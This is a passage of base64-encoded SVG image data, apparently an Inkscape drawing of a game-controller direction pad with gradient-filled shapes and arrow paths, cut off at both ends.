S4yIDAuNWwxLjEgMC4zcTEgMC4zIDEuNSAwLjggMC41IDAuNSAwLjUgMS41IDAgMS4xLTAuOCAxLjctMC44IDAuNi0yLjIgMC42LTAuNyAwLTEuNC0wLjEtMC43LTAuMS0xLjQtMC40ek0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNnEwIDEuNCAwLjQgMS45IDAuNCAwLjUgMS41IDAuNSAxIDAgMS40LTAuNSAwLjQtMC42IDAuNC0xLjlsMC0zLjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCAzLjhxMCAxLjctMC43IDIuNC0wLjcgMC43LTIuNCAwLjctMS43IDAtMi40LTAuNy0wLjctMC43LTAuNy0yLjRsMC0zLjd6TS0xNDk5LjgtNzQwLjhsMC0wLjYgMC45IDAgMC02LjEtMC45IDAgMC0wLjYgMi4zIDAgNC40IDUuMiAwLTQuNi0wLjkgMCAwLTAuNiAyLjUgMCAwIDAuNi0wLjkgMCAwIDYuNy0xLjMgMC00LjUtNS4zIDAgNC43IDAuOSAwIDAgMC42LTIuNSAwek0tMTQ5MC42LTc0MC44bDAtMC42IDAuOSAwIDAtNi4xLTAuOSAwIDAtMC42IDIuMyAwIDQuNCA1LjIgMC00LjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCA2LjctMS4zIDAtNC41LTUuMyAwIDQuNyAwLjkgMCAwIDAuNi0yLjUgMHpNLTE0ODAuMi03NDAuOGwwLTAuNiAxIDAgMC0yLjQtMi4yLTMuNy0wLjYgMCAwLTAuNiAzLjUgMCAwIDAuNi0wLjggMCAxLjYgMi44IDEuNi0yLjgtMC43IDAgMC0wLjYgMi4xIDAgMCAwLjYtMC42IDAtMiAzLjQgMCAyLjcgMSAwIDAgMC42LTMuOSAweiIgaWQ9InBhdGg0MzIzIiBjbGFzcz0iczE2Ii8+PC9nPjxwYXRoIGlkPSJwYXRoNjk5MyIgZD0ibTEwNC45IDEzMy43Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgY2xhc3M9InMxMSIvPjxlbGxpcHNlIGlkPSJlbGxpcHNlNjk5NSIgY3g9IjEzMi4zIiBjeT0iMTg3LjciIHJ4PSIxMDIuMiIgcnk9IjY0LjYiIGZpbGw9Im5vbmUiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5OTciIGN4PSIxMzMuMyIgY3k9IjE4OC4xIiByeD0iMTAzLjkiIHJ5PSI2NS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaWQ9InBhdGg2OTk5IiBkPSJtMTA0LjkgMTM1Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMDcpO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTEwNC45IDEzNWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlkPSJwYXRoNzAwMSIgY2xhc3M9InMxNyIvPjxwYXRoIGQ9Im03MC42IDIxMy43IDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGlkPSJwYXRoNzAwMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZjlmOWY5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMDUiIGQ9Im03MC42IDIxNS4xIDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MTA5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA3IiBkPSJtMTg3LjkgMjE0LjIgMCAyOC4xYzAgNC4yLTMuNCA3LjUtNy41IDcuNWwtMTkuNiAwYy00LjIgMC04LjMtNC41LTExLjEtNy41LTMuMS0zLjMtMTAtOS0xMC4zLTEzLjItMC4zLTUuNCA2LjItMTEgOS45LTE0LjkgMi45LTMgNy4zLTcuNSAxMS41LTcuNWwxOS42IDBjNC4yIDAgNy41IDMuNCA3LjUgNy41eiIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDA5IiBkPSJtMTE1LjIgMjg2LjggMjguMSAwYzQuMiAwIDcuNS0zLjQgNy41LTcuNWwwLTE5LjZjMC00LjItNC41LTguMy03LjUtMTEuMS0zLjMtMy4xLTktMTAtMTMuMi0xMC4zLTUuNC0wLjMtMTEgNi4yLTE0LjkgOS45LTMgMi45LTcuNSA3LjMtNy41IDExLjVsMCAxOS42YzAgNC4yIDMuNCA3LjUgNy41IDcuNXoiIGZpbGw9IiNmOWY5ZjkiLz48cGF0aCBkPSJtMTE1LjIgMTY5LjMgMjguMSAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNWwwIDE5LjZjMCA0LjItNC41IDguMy03LjUgMTEuMS0zLjMgMy4xLTkgMTAtMTMuMiAxMC4zLTUuNCAwLjMtMTEtNi4yLTE0LjktOS45LTMtMi45LTcuNS03LjMtNy41LTExLjVsMC0xOS42YzAtNC4yIDMuNC03LjUgNy41LTcuNXoiIGlkPSJwYXRoNzAxMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZmZmIi8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTMiIGQ9Im0xMTUuMiAxNzAuNCAyOC4xIDBjNC4yIDAgNy41IDMuNCA3LjUgNy41bDAgMTkuNmMwIDQuMi00LjUgOC4zLTcuNSAxMS4xLTMuMyAzLjEtOSAxMC0xMy4yIDEwLjMtNS40IDAuMy0xMS02LjItMTQuOS05LjktMy0yLjktNy41LTcuMy03LjUtMTEuNWwwLTE5LjZjMC00LjIgMy40LTcuNSA3LjUtNy41eiIgZmlsbD0iIzE3MWIxZCIvPjxnIGlkPSJnNzAxNSIgdHJhbnNmb3JtPSJtYXRyaXgoLTEsMCwwLDEsLTU3OS44MzMwNSw4OTguNzAyMDkpIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMTciIGQ9Im0tNjI1LTY2OS44YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIGNsYXNzPSJzMTkiLz48cGF0aCBkPSJtLTYyNS02NzFjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDE5IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExMSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDAuNDQzMDUsLTQ4MC41Njc5NykiIGlkPSJnNzAyMSI+PHBhdGggZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDIzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBjbGFzcz0iczE5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJjY2NjY2NjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg3MDI1IiBkPSJtLTYyNC40LTY2OS42YzAtMC40LTAuMi0wLjctMC40LTAuOWwtMTIuMi0xMC44Yy0wLjUtMC40LTEuMSAwLjEtMS4xIDFsMCAyMS41YzAgMC45IDAuNiAxLjQgMS4xIDFsMTIuMi0xMC44YzAuMi0wLjIgMC40LTAuNiAwLjQtMXoiIHN0eWxlPSJiYXNlbGluZS1zaGlmdDpiYXNlbGluZTtibG9jay1wcm9ncmVzc2lvbjp0YjtjbGlwLXJ1bGU6bm9uemVybztjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6bGluZWFyUkdCO2NvbG9yLWludGVycG9sYXRpb246c1JHQjtjb2xvci1yZW5kZXJpbmc6YXV0bztjb2xvcjojMDAwMDAwO2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmU7ZW5hYmxlLWJhY2tncm91bmQ6YWNjdW11bGF0ZTtmaWxsLXJ1bGU6bm9uemVybztmaWxsOnVybCgjbGluZWFyR3JhZGllbnQ3MTEzKTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZTptZWRpdW07aW1hZ2UtcmVuZGVyaW5nOmF1dG87aXNvbGF0aW9uOmF1dG87bGV0dGVyLXNwYWNpbmc6bm9ybWFsO2xpbmUtaGVpZ2h0Om5vcm1hbDttaXgtYmxlbmQtbW9kZTpub3JtYWw7b3ZlcmZsb3c6dmlzaWJsZTtzaGFwZS1yZW5kZXJpbmc6YXV0bztzb2xpZC1jb2xvcjojMDAwMDAwO3NvbGlkLW9wYWNpdHk6MTt0ZXh0LWFsaWduOnN0YXJ0O3RleHQtYW5jaG9yOnN0YXJ0O3RleHQtZGVjb3JhdGlvbi1jb2xvcjojMDAwMDAwO3RleHQtZGVjb3JhdGlvbi1saW5lOm5vbmU7dGV4dC1kZWNvcmF0aW9uLXN0eWxlOnNvbGlkO3RleHQtZGVjb3JhdGlvbjpub25lO3RleHQtaW5kZW50OjA7dGV4dC1yZW5kZXJpbmc6YXV0bzt0ZXh0LXRyYW5zZm9ybTpub25lO3doaXRlLXNwYWNlOm5vcm1hbDt3b3JkLXNwYWNpbmc6bm9ybWFsO3dyaXRpbmctbW9kZTpsci10YiIvPjwvZz48ZyBpZD0iZzcwMjciIHRyYW5zZm9ybT0ibWF0cml4KDAuOTMzNTYzMzksMCwwLDAuOTMzNTYzMzksODEyLjg3MzIyLDg1OC43NTA5MykiPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAyOSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTguNCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42NzQ3MTQwOSwwLDAsMC4yODE0NDUzNiwtNTYuODYzNzk0LC00MDguOTM2MzkpIiBmaWxsPSIjZTNlOWU5Ii8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMC42ODAwMDUxNCwwLDAsMC4yODE0NDUzNiwtNTQuMjU4ODI1LC00MDkuMTk1NTgpIiBpbmtzY2FwZTp0cmFuc2Zvcm0tY2VudGVyLXg9Ii04LjUiIGQ9Im0tNTY3LTY5NC4yIDAtODYuMiA3NC43IDQzLjF6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjMuMSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6cjE9IjQ5LjgiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDcwMzEiIHNvZGlwb2RpOnR5cGU9InN0YXIiIGZpbGw9IiMxNjE3MTciLz48cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCgwLjYxOTMwOTM5LDAsMCwwLjI0OTU2MDAzLC04Ny45MjY4ODUsLTQzMy4xNTQxNikiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuNyIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnJhbmRvbWl6ZWQ9IjAiIGlua3NjYXBlOnJvdW5kZWQ9IjAiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgc29kaXBvZGk6YXJnMj0iMy4xIiBzb2RpcG9kaTphcmcxPSIyLjEiIHNvZGlwb2RpOnIyPSIyNC45IiBzb2RpcG9kaTpyMT0iNDkuOCIgc29kaXBvZGk6Y3k9Ii03MzcuMyIgc29kaXBvZGk6Y3g9Ii01NDIuMSIgc29kaXBvZGk6c2lkZXM9IjMiIGlkPSJwYXRoNzAzMyIgc29kaXBvZGk6dHlwZT0ic3RhciIgZmlsbD0iI2ZmZiIvPjxwYXRoIHNvZGlwb2RpOnR5cGU9InN0YXIiIGlkPSJwYXRoNzAzNSIgc29kaXBvZGk6c2lkZXM9IjMiIHNvZGlwb2RpOmN4PSItNTQyLjEiIHNvZGlwb2RpOmN5PSItNzM3LjMiIHNvZGlwb2RpOnIxPSI0OS44IiBzb2RpcG9kaTpyMj0iMjQuOSIgc29kaXBvZGk6YXJnMT0iMi4xIiBzb2RpcG9kaTphcmcyPSIzLjEiIGlua3NjYXBlOmZsYXRzaWRlZD0idHJ1ZSIgaW5rc2NhcGU6cm91bmRlZD0iMCIgaW5rc2NhcGU6cmFuZG9taXplZD0iMCIgZD0ibS01NjctNjk0LjIgMC04Ni4yIDc0LjcgNDMuMXoiIGlua3NjYXBlOnRyYW5zZm9ybS1jZW50ZXIteD0iLTcuOCIgdHJhbnNmb3JtPSJtYXRyaXgoMC42MjQxNjU5NiwwLDAsMC4yNDk1NjAwMywtODUuMTk5NTk1LC00MzIuNjc2OTcpIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzExNSkiLz48L2c+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjgwOTA1LDg5OS45NzQ2KSIgaWQ9Imc3MDM3Ij48cGF0aCBkPSJtLTYyNS02NjkuOGMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBpZD0icGF0aDcwMzkiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGNsYXNzPSJzMTkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwNDEiIGQ9Im0tNjI1LTY3MWMwLTAuNC0wLjItMC43LTAuNC0wLjlsLTEyLjItMTAuOGMtMC41LTAuNC0xLjEgMC4xLTEuMSAxbDAgMjEuNWMwIDAuOSAwLjYgMS40IDEuMSAxbDEyLjItMTAuOGMwLjItMC4yIDAuNC0wLjYgMC40LTF6IiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExNyk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PGcgaWQ9Imc3MDQzIiB0cmFuc2Zvcm09Im1hdHJpeCgwLDEsLTEsMCwtNTQwLjQ0MzA1LDkzNS4xMDM2MSkiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NjY2NjY2MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA0NSIgZD0ibS02MjUtNjY5LjhjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgY2xhc3M9InMxOSIvPjxwYXRoIGQ9Im0tNjI0LjQtNjY5LjZjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDQ3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExOSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OC44IDE0MC44Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg3MDQ5IiBjbGFzcz0iczE3Ii8+PHBhdGggZD0ibTE4Ny45IDIxNS4xIDAgMjguMWMwIDQuMi0zLjQgNy41LTcuNSA3LjVsLTE5LjYgMGMtNC4yIDAtOC4zLTQuNS0xMS4xLTcuNS0zLjEtMy4zLTEwLTktMTAuMy0xMy4yLTAuMy01LjQgNi4yLTExIDkuOS0xNC45IDIuOS0zIDcuMy03LjUgMTEuNS03LjVsMTkuNiAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNXoiIGlkPSJwYXRoNzA1MSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEyMSkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA1MyIgZD0ibTE0My4zIDI4Ny44LTI4LjEgMGMtNC4yIDAtNy41LTMuNC03LjUtNy41bDAtMTkuNmMwLTQuMiA0LjUtOC4zIDcuNS0xMS4xIDMuMy0zLjEgOS0xMCAxMy4yLTEwLjMgNS40LTAuMyAxMSA2LjIgMTQuOSA5LjkgMyAyLjkgNy41IDcuMyA3LjUgMTEuNWwwIDE5LjZjMCA0LjItMy40IDcuNS03LjUgNy41eiIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjMpIi8+PHBhdGggZD0ibTE0My4zIDE3MC40LTI4LjEgMGMtNC4yIDAtNy41IDMuNC03LjUgNy41bDAgMTkuNmMwIDQuMiA0LjUgOC4zIDcuNSAxMS4xIDMuMyAzLjEgOSAxMCAxMy4yIDEwLjMgNS40IDAuMyAxMS02LjIgMTQuOS05LjkgMy0yLjkgNy41LTcuMyA3LjUtMTEuNWwwLTE5LjZjMC00LjItMy40LTcuNS03LjUtNy41eiIgaWQ9InBhdGg3MDU1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVy